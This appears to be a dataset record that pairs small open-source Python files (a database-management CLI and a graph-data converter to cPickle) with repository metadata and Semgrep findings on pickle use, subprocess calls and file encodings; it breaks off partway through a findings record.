"rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/f5beac4c9043f97c.py", "start": {"line": 199, "col": 17, "offset": 5473}, "end": {"line": 199, "col": 95, "offset": 5551}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 199 ]
[ 199 ]
[ 17 ]
[ 95 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
game.py
/game/game.py
AleksaC/LightsOut
MIT
2024-11-18T18:39:32.579146+00:00
1,522,797,805,000
e3794c362fd1b979a606306d61f1637f3bd25acf
2
{ "blob_id": "e3794c362fd1b979a606306d61f1637f3bd25acf", "branch_name": "refs/heads/master", "committer_date": 1522797805000, "content_id": "5e4458b0cfb7937575503c59cf3b012deeedaa2b", "detected_licenses": [ "MIT" ], "directory_id": "4b5696dc96aa3ec7c5853dc9303c057a0359070a", "extension": "py", "filename": "cli.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 127802846, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1858, "license": "MIT", "license_type": "permissive", "path": "/do/cli.py", "provenance": "stack-edu-0054.json.gz:569931", "repo_name": "florimondmanca/do-api", "revision_date": 1522797805000, "revision_id": "93ce02e3a87536c1f4e4cda2e4191d0266a011dd", "snapshot_id": "4b5590430cfa36a882659ae011b13cb8240b0284", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/florimondmanca/do-api/93ce02e3a87536c1f4e4cda2e4191d0266a011dd/do/cli.py", "visit_date": "2020-03-08T00:17:33.610293" }
2.34375
stackv2
#! /usr/bin/env python3 """Do API management CLI.""" import sys import os from subprocess import run import click from helpers import load_settings from helpers.db import apply_migrations, create_migrations from helpers.shell import success os.environ.setdefault('SETTINGS_MODULE', 'settings') settings = load_settings() database = settings.DATABASE_BACKEND OK = click.style('OK', fg='green') GUNICORN = ['gunicorn', '--reload', 'wsgi'] @click.group() def cli(): """Main entry point.""" @cli.command() def start(): """Start the server.""" run(GUNICORN) @cli.command() @click.argument('message') def makemigrations(message: str): """Generate migrations with Alembic.""" if create_migrations(message): click.echo(OK) else: sys.exit(1) @cli.command() def createdb(): """Create a database and apply migrations on it.""" if database.exists(): raise click.UsageError( click.style('Database already exists at {}.' .format(database.url), fg='red') ) else: database.create() click.echo(OK) @cli.command() def dropdb(): """Drop the database.""" message = 'This will permanently drop the database. Continue?' if click.confirm(message, abort=True): database.drop() click.echo(OK) @cli.command() def migrate(): """Run migrations using `alembic upgrade head`.""" if apply_migrations(): click.echo(OK) else: sys.exit(1) @cli.command() @click.option('--verbose', '-v', is_flag=True, help='Turn verbosity up') def test(verbose): """Run the tests.""" verbose_opts = verbose and ['-v'] or [] if success(['python', '-m', 'pytest', *verbose_opts]): click.secho('Tests passed! 🎉', fg='green') else: sys.exit(1) if __name__ == '__main__': cli()
86
20.57
72
15
430
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_0f010fb62a05822c_e5ed9dde", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/0f010fb62a05822c.py", "start": {"line": 30, "col": 5, "offset": 560}, "end": {"line": 30, "col": 18, "offset": 573}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 30 ]
[ 30 ]
[ 5 ]
[ 18 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
cli.py
/do/cli.py
florimondmanca/do-api
MIT
2024-11-18T18:39:33.189772+00:00
1,546,025,066,000
5aea711dc1ef824fba3fe3c822ee26496be14036
3
{ "blob_id": "5aea711dc1ef824fba3fe3c822ee26496be14036", "branch_name": "refs/heads/master", "committer_date": 1546025066000, "content_id": "560e4bf62355116394a55cf8590e9617839b9e34", "detected_licenses": [ "MIT" ], "directory_id": "fdd61a91c7692faece9f22ea9540070caa705960", "extension": "py", "filename": "convert_data.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 163442473, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3600, "license": "MIT", "license_type": "permissive", "path": "/baselines/planetoid/convert_data.py", "provenance": "stack-edu-0054.json.gz:569938", "repo_name": "kojino/lpn", "revision_date": 1546025066000, "revision_id": "f07a94456493bfb3391c00ef3a57afefb399e284", "snapshot_id": "c07244d2221e411f464f54838955416a403ef398", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/kojino/lpn/f07a94456493bfb3391c00ef3a57afefb399e284/baselines/planetoid/convert_data.py", "visit_date": "2020-04-13T20:53:44.611998" }
2.78125
stackv2
import argparse from collections import defaultdict as dd import cPickle import numpy as np import os from scipy import sparse as sp def add_arguments(): parser = argparse.ArgumentParser() # General settings parser.add_argument('--x', help = 'train features filename' , type = str) parser.add_argument('--tx', help = 'test features filename' , type = str) parser.add_argument('--y', help = 'train labels filename' , type = str) parser.add_argument('--ty', help = 'test labels filename' , type = str) parser.add_argument('--graph', help = 'graph filename' , type = str) parser.add_argument('--out_dir', help = 'dir where output files will be stored' , type = str) parser.add_argument('--dim', help = 'feature dimension' , type = int) parser.add_argument('--c', help = 'num classes' , type = int) return parser def read_graph(path_to_grpah): graph_dict = dd(list) with open(path_to_grpah, "r") as graph_file: for line in graph_file: split_line = line.split('\t') if (len(split_line) != 2): print "Problematic line:", line continue src = int(split_line[0]) dst = int(split_line[1]) graph_dict[src].append(dst) graph_dict[dst].append(src) for node_id in graph_dict: graph_dict[node_id] = list(set(graph_dict[node_id])) return graph_dict def read_labels(path_to_labels, num_classes): node_to_cluster = {} with open(path_to_labels) as f_labels: for line in f_labels: split_line = line.split('\t') node_id = int(split_line[0]) cluster = int(split_line[1]) node_to_cluster[node_id] = cluster max_node_id = max(node_to_cluster.keys()) max_cluster = max(node_to_cluster.values()) assert num_classes >= max_cluster+1 label_matrix = np.zeros((max_node_id+1, num_classes)) for node_id, cluster in node_to_cluster.iteritems(): label_matrix[node_id, cluster] = 1.0 label_matrix = label_matrix.astype(np.int32) return label_matrix def read_features(path_to_features, dim): node_to_features = dd(list) max_feature_index = 0 with open(path_to_features) as f_features: for line in f_features: split_line = line.split('\t') node_id = int(split_line[0]) for features in split_line[1:]: split_features = features.split(":") feature_index = int(split_features[0]) feature_value = float(split_features[1]) max_feature_index = max(max_feature_index, feature_index) feature_details = (feature_index, feature_value) node_to_features[node_id].append(feature_details) max_node_id = max(node_to_features.keys()) assert dim >= max_feature_index feature_matrix = np.zeros((max_node_id+1, dim)) for node_id in node_to_features: for feature_detail in node_to_features[node_id]: (feature_index, feature_value) = feature_detail feature_matrix[node_id, feature_index] = feature_value feature_matrix = sp.csr_matrix(feature_matrix, dtype = np.float32) return feature_matrix def main(): parser = add_arguments() args = parser.parse_args() graph_dict = read_graph(args.graph) out_graph = os.path.join(args.out_dir, "graph") cPickle.dump(graph_dict, open(out_graph, "w")) x = read_features(args.x, args.dim) out_x = os.path.join(args.out_dir, "x") cPickle.dump(x, open(out_x, "w")) tx = read_features(args.tx, args.dim) out_tx = os.path.join(args.out_dir, "tx") cPickle.dump(tx, open(out_tx, "w")) y = read_labels(args.y, args.c) out_y = os.path.join(args.out_dir, "y") cPickle.dump(y, open(out_y, "w")) ty = read_labels(args.ty, args.c) out_ty = os.path.join(args.out_dir, "ty") cPickle.dump(ty, open(out_ty, "w")) if __name__ == '__main__': main()
102
34.29
97
15
935
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_14eac69f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 23, "line_end": 23, "column_start": 7, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 23, "col": 7, "offset": 915}, "end": {"line": 23, "col": 31, "offset": 939}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_0002ee23", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 39, "line_end": 39, "column_start": 7, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 39, "col": 7, "offset": 1388}, "end": {"line": 39, "col": 27, "offset": 1408}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_8d9d6bf3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 7, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 57, "col": 7, "offset": 2022}, "end": {"line": 57, "col": 29, "offset": 2044}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_f14c10c8d25730d2_cdb86a0f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 2, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 83, "col": 2, "offset": 3055}, "end": {"line": 83, "col": 48, "offset": 3101}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_06006153", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 27, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 83, "col": 27, "offset": 3080}, "end": {"line": 83, "col": 47, "offset": 3100}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_f14c10c8d25730d2_a6c9a40a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 87, "line_end": 87, "column_start": 2, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 87, "col": 2, "offset": 3182}, "end": {"line": 87, "col": 35, "offset": 3215}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_eefd0478", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 87, "line_end": 87, "column_start": 18, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 87, "col": 18, "offset": 3198}, "end": {"line": 87, "col": 34, "offset": 3214}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_f14c10c8d25730d2_c9dc58ff", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 2, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 91, "col": 2, "offset": 3301}, "end": {"line": 91, "col": 37, "offset": 3336}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_4f17840b", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 19, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 91, "col": 19, "offset": 3318}, "end": {"line": 91, "col": 36, "offset": 3335}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_f14c10c8d25730d2_b475d819", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 95, "line_end": 95, "column_start": 2, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 95, "col": 2, "offset": 3413}, "end": {"line": 95, "col": 35, "offset": 3446}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_9538673b", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 95, "line_end": 95, "column_start": 18, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 95, "col": 18, "offset": 3429}, "end": {"line": 95, "col": 34, "offset": 3445}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_f14c10c8d25730d2_51e4a203", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 99, "line_end": 99, "column_start": 2, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": 